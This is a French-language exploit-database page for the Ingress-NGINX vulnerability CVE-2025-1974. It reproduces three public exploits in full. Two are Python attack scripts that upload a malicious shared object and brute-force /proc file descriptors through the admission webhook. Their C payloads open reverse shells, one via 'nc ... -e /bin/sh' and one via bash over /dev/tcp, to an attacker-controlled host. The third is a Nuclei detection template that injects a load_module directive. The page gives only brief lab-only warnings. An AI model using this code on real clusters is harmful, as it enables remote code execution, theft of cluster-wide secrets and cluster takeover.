Exploit matérialisé
CVE-2025-1974
CRITICAL3 exploit(s) public(s) pour cette CVE, 3 matérialisé(s) avec leur code.
Ingress-NGINX 4.11.0 - Remote Code Execution (RCE)
Par Likhith Appalaneni
Comment tester cet exploit
Exploit distant. Ciblez une instance vulnérable isolée (VM/lab), jamais un système de production.
Code txt
# Exploit Title: Ingress-NGINX 4.11.0 - Remote Code Execution (RCE)
# Google Dork: N/A
# Date: 2025-06-19
# Exploit Author: Likhith Appalaneni
# Vendor Homepage: https://kubernetes.github.io/ingress-nginx/
# Software Link: https://github.com/kubernetes/ingress-nginx
# Version: ingress-nginx v4.11.0 on Kubernetes v1.29.0 (Minikube)
# Tested on: Ubuntu 24.04, Minikube vLatest, Docker vLatest
# CVE : CVE-2025-1974
1) Update the attacker ip and listening port in shell.c and Compile the shell payload:
gcc -fPIC -shared -o shell.so shell.c
2) Run the exploit:
python3 exploit.py
The exploit sends a crafted AdmissionRequest to the vulnerable Ingress-NGINX webhook and loads the shell.so to achieve code execution.
<---> shell.c <--->
#include <stdlib.h>
__attribute__((constructor)) void init() {
system("sh -c 'nc attacker-ip attacker-port -e /bin/sh'");
}
<---> shell.c <--->
<---> exploit.py <--->
import json
import requests
import threading
import time
import urllib3
import socket
import argparse
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def upload_shell_via_socket(file_path, target_host, target_port):
print("[*] Uploading shell.so via raw socket to keep FD open...")
try:
with open(file_path, "rb") as f:
data = f.read()
data += b"\x00" * (16384 - len(data) % 16384)
content_len = len(data) + 2024
payload = f"POST /fake/addr HTTP/1.1\r\nHost: {target_host}:{target_port}\r\nContent-Type: application/octet-stream\r\nContent-Length: {content_len}\r\n\r\n".encode("ascii") + data
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target_host, target_port))
sock.sendall(payload)
print("[*] Payload sent, holding connection open for 220s...")
time.sleep(220)
sock.close()
except Exception as e:
print(f"[!] Upload failed: {e}")
def build_payload(pid, fd):
annotation = "http://x/#;" + ("}" * 3) + f"\nssl_engine /proc/{pid}/fd/{fd};\n#"
return {
"kind": "AdmissionReview",
"apiVersion": "admission.k8s.io/v1",
"request": {
"uid": "exploit-uid",
"kind": {
"group": "networking.k8s.io",
"version": "v1",
"kind": "Ingress"
},
"resource": {
"group": "networking.k8s.io",
"version": "v1",
"resource": "ingresses"
},
"requestKind": {
"group": "networking.k8s.io",
"version": "v1",
"kind": "Ingress"
},
"requestResource": {
"group": "networking.k8s.io",
"version": "v1",
"resource": "ingresses"
},
"name": "example-ingress",
"operation": "CREATE",
"userInfo": {
"username": "kube-review",
"uid": "d9c6bf40-e0e6-4cd9-a9f4-b6966020ed3d"
},
"object": {
"kind": "Ingress",
"apiVersion": "networking.k8s.io/v1",
"metadata": {
"name": "example-ingress",
"annotations": {
"nginx.ingress.kubernetes.io/auth-url": annotation
}
},
"spec": {
"ingressClassName": "nginx",
"rules": [
{
"host": "hello-world.com",
"http": {
"paths": [
{
"path": "/",
"pathType": "Prefix",
"backend": {
"service": {
"name": "web",
"port": { "number": 8080 }
}
}
}
]
}
}
]
}
},
"oldObject": None,
"dryRun": False,
"options": {
"kind": "CreateOptions",
"apiVersion": "meta.k8s.io/v1"
}
}
}
def send_requests(admission_url, pid_range, fd_range):
for pid in range(pid_range[0], pid_range[1]):
for fd in range(fd_range[0], fd_range[1]):
print(f"Trying /proc/{pid}/fd/{fd}")
payload = build_payload(pid, fd)
try:
resp = requests.post(
f"{admission_url}/networking/v1/ingresses",
headers={"Content-Type": "application/json"},
data=json.dumps(payload),
verify=False,
timeout=5
)
result = resp.json()
msg = result.get("response", {}).get("status", {}).get("message", "")
if "No such file" in msg or "Permission denied" in msg:
continue
print(f"[+] Interesting response at /proc/{pid}/fd/{fd}:\n{msg}")
except Exception as e:
print(f"[-] Error: {e}")
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="Exploit CVE-2025-1974")
parser.add_argument("--upload-url", required=True, help="Upload URL (e.g., http://127.0.0.1:8080)")
parser.add_argument("--admission-url", required=True, help="Admission controller URL (e.g., https://127.0.0.1:8443)")
parser.add_argument("--shell", default="shell.so", help="Path to shell.so file")
parser.add_argument("--pid-start", type=int, default=26)
parser.add_argument("--pid-end", type=int, default=30)
parser.add_argument("--fd-start", type=int, default=1)
parser.add_argument("--fd-end", type=int, default=100)
args = parser.parse_args()
host = args.upload_url.split("://")[-1].split(":")[0]
port = int(args.upload_url.split(":")[-1])
upload_thread = threading.Thread(target=upload_shell_via_socket, args=(args.shell, host, port))
upload_thread.start()
time.sleep(3)
send_requests(args.admission_url, (args.pid_start, args.pid_end), (args.fd_start, args.fd_end))
upload_thread.join()
<---> exploit.py <--->
Ingress-Nginx Controller - Remote Code Execution
Par projectdiscovery
Comment tester cet exploit
Le template Nuclei EST le test : une règle de détection exécutable. Installez nuclei, puis lancez-le contre une cible que vous contrôlez.
nuclei -id CVE-2025-1974 -u https://your-target
Template yaml
id: CVE-2025-1974
info:
name: Ingress-Nginx Controller - Remote Code Execution
author: iamnoooob,rootxharsh,pdresearch,UNC1739
severity: critical
description: |
A security issue was discovered in Kubernetes where under certain conditions, an unauthenticated attacker with access to the pod network can achieve arbitrary code execution in the context of the ingress-nginx controller. This can lead to disclosure of Secrets accessible to the controller. (Note that in the default installation, the controller can access all Secrets cluster-wide.)
impact: |
Vulnerable versions of Ingress-Nginx controller can be exploited to gain unauthorized access to all secrets across namespaces in the Kubernetes cluster, potentially leading to complete cluster takeover.
remediation: |
Update to one of the following versions: Version 1.12.1 or later / Version 1.11.5 or later
reference:
- https://www.wiz.io/blog/ingress-nginx-kubernetes-vulnerabilities
- https://projectdiscovery.io/blog/ingressnightmare-unauth-rce-in-ingress-nginx
- https://nvd.nist.gov/vuln/detail/CVE-2025-1974
- https://https://github.com/kubernetes/kubernetes/issues/131009
- https://github.com/eeeeeeeeee-code/POC
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2025-1974
cwe-id: CWE-653
epss-score: 0.99525
epss-percentile: 0.99943
metadata:
verified: true
max-request: 1
shodan-query: ssl:"ingress-nginx" port:8443
tags: cve,cve2025,cloud,devops,kubernetes,ingress,nginx,k8s,vuln
variables:
string: "{{to_lower('{{randstr}}')}}"
http:
- raw:
- |
POST / HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{
"kind": "AdmissionReview",
"apiVersion": "admission.k8s.io/v1",
"request": {
"uid": "{{string}}",
"kind": {
"group": "networking.k8s.io",
"version": "v1",
"kind": "Ingress"
},
"resource": {
"group": "networking.k8s.io",
"version": "v1",
"resource": "ingresses"
},
"requestKind": {
"group": "networking.k8s.io",
"version": "v1",
"kind": "Ingress"
},
"requestResource": {
"group": "networking.k8s.io",
"version": "v1",
"resource": "ingresses"
},
"name": "test-{{randstr}}",
"namespace": "default",
"operation": "CREATE",
"userInfo": {
"uid": "{{string}}"
},
"object": {
"kind": "Ingress",
"apiVersion": "networking.k8s.io/v1",
"metadata": {
"name": "test-{{randstr}}",
"namespace": "default",
"creationTimestamp": null,
"uid": "InjectTest#;\n\n}\n}\n}\nload_module test;",
"annotations": {
"nginx.ingress.kubernetes.io/mirror-target": "fake-mirror-target"
}
},
"spec": {
"ingressClassName": "nginx",
"rules": [
{
"host": "test.example.com",
"http": {
"paths": [
{
"path": "/",
"pathType": "Prefix",
"backend": {
"service": {
"name": "kubernetes",
"port": {
"number": 443
}
}
}
}
]
}
}
]
},
"status": {
"loadBalancer": {}
}
},
"oldObject": null,
"dryRun": true,
"options": {
"kind": "CreateOptions",
"apiVersion": "meta.k8s.io/v1"
}
}
}
matchers:
- type: word
part: body
words:
- 'AdmissionReview'
- 'load_module'
- 'directive is specified too late'
condition: and
# digest: 4b0a00483046022100849ec13aeb683e948ceb2c585790928b692b96d73fce9eb7d4fa9bd7ae52d825022100cca99a5184ba05e92658d5dc572d9f87b3117e7c6a461c50b023349441386b1c:922c64590222798bb761d5b6d8e72950
Ingress-NGINX Admission Controller v1.11.1 - FD Injection to RCE
Par Beatriz Fresno Naumova
Comment tester cet exploit
Exploit distant. Ciblez une instance vulnérable isolée (VM/lab), jamais un système de production.
Code txt
# Exploit Title: Ingress-NGINX Admission Controller v1.11.1 - FD Injection to RCE
# Date: 2025-10-07
# Exploit Author: Beatriz Fresno Naumova
# Vendor Homepage: https://kubernetes.io
# Software Link: https://github.com/kubernetes/ingress-nginx
# Version: Affects v1.10.0 to v1.11.1 (potentially others)
# Tested on: Ubuntu 22.04, RKE2 Kubernetes Cluster
# CVE: CVE-2025-1097, CVE-2025-1098, CVE-2025-24514, CVE-2025-1974
import os
import sys
import socket
import requests
import threading
from urllib.parse import urlparse
from concurrent.futures import ThreadPoolExecutor
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# --- Embedded malicious shared object template ---
MALICIOUS_C_TEMPLATE = """
#include <stdlib.h>
__attribute__((constructor))
void run_on_load() {
system("bash -c 'bash -i >& /dev/tcp/HOST/PORT 0>&1'");
}
int bind(void *e, const char *id) {
return 1;
}
void ENGINE_load_evil() {}
int bind_engine() {
return 1;
}
"""
def compile_shared_library(host, port, output_file="evil_engine.so"):
c_code = MALICIOUS_C_TEMPLATE.replace("HOST", host).replace("PORT", str(port))
with open("evil_engine.c", "w") as f:
f.write(c_code)
print("[*] Compiling malicious shared object...")
result = os.system("gcc -fPIC -Wall -shared -o evil_engine.so evil_engine.c -lcrypto")
if result == 0:
print("[+] Shared object compiled successfully.")
return True
else:
print("[!] Compilation failed. Is gcc installed?")
return False
def send_brute_request(admission_url, json_template, proc, fd):
print(f"[*] Trying /proc/{proc}/fd/{fd}")
path = f"proc/{proc}/fd/{fd}"
payload = json_template.replace("REPLACE", path)
headers = {"Content-Type": "application/json"}
url = admission_url.rstrip("/") + "/admission"
try:
response = requests.post(url, data=payload, headers=headers, verify=False, timeout=5)
print(f"[+] Response for /proc/{proc}/fd/{fd}: {response.status_code}")
except Exception as e:
print(f"[!] Error on /proc/{proc}/fd/{fd}: {e}")
def brute_force_admission(admission_url, json_file="review.json", max_proc=50, max_fd=30, max_workers=5):
try:
with open(json_file, "r") as f:
json_data = f.read()
except FileNotFoundError:
print(f"[!] Error: {json_file} not found.")
return
print("[*] Starting brute-force against the admission webhook...")
with ThreadPoolExecutor(max_workers=max_workers) as executor:
for proc in range(1, max_proc):
for fd in range(3, max_fd):
executor.submit(send_brute_request, admission_url, json_data, proc, fd)
def upload_shared_library(ingress_url, shared_object="evil_engine.so"):
try:
with open(shared_object, "rb") as f:
evil_payload = f.read()
except FileNotFoundError:
print(f"[!] Error: {shared_object} not found.")
return
parsed = urlparse(ingress_url)
host = parsed.hostname
port = parsed.port or 80
path = parsed.path or "/"
try:
sock = socket.create_connection((host, port))
except Exception as e:
print(f"[!] Failed to connect to {host}:{port}: {e}")
return
fake_length = len(evil_payload) + 10
headers = (
f"POST {path} HTTP/1.1\r\n"
f"Host: {host}\r\n"
f"User-Agent: qmx-ingress-exploiter\r\n"
f"Content-Type: application/octet-stream\r\n"
f"Content-Length: {fake_length}\r\n"
f"Connection: keep-alive\r\n\r\n"
).encode("iso-8859-1")
print("[*] Uploading malicious shared object to ingress...")
sock.sendall(headers + evil_payload)
response = b""
while True:
chunk = sock.recv(4096)
if not chunk:
break
response += chunk
print("[*] Server response:\n")
print(response.decode(errors="ignore"))
sock.close()
def main():
if len(sys.argv) != 4:
print("Usage: python3 exploit.py <ingress_url> <admission_webhook_url> <rev_host:port>")
sys.exit(1)
ingress_url = sys.argv[1]
admission_url = sys.argv[2]
rev_host_port = sys.argv[3]
if ':' not in rev_host_port:
print("[!] Invalid format for rev_host:port.")
sys.exit(1)
host, port = rev_host_port.split(":")
if not compile_shared_library(host, port):
sys.exit(1)
# Send the malicious shared object and keep the connection open
upload_thread = threading.Thread(target=upload_shared_library, args=(ingress_url,))
upload_thread.start()
# Simultaneously brute-force the admission webhook for valid file descriptors
brute_force_admission(admission_url)
if __name__ == "__main__":
main()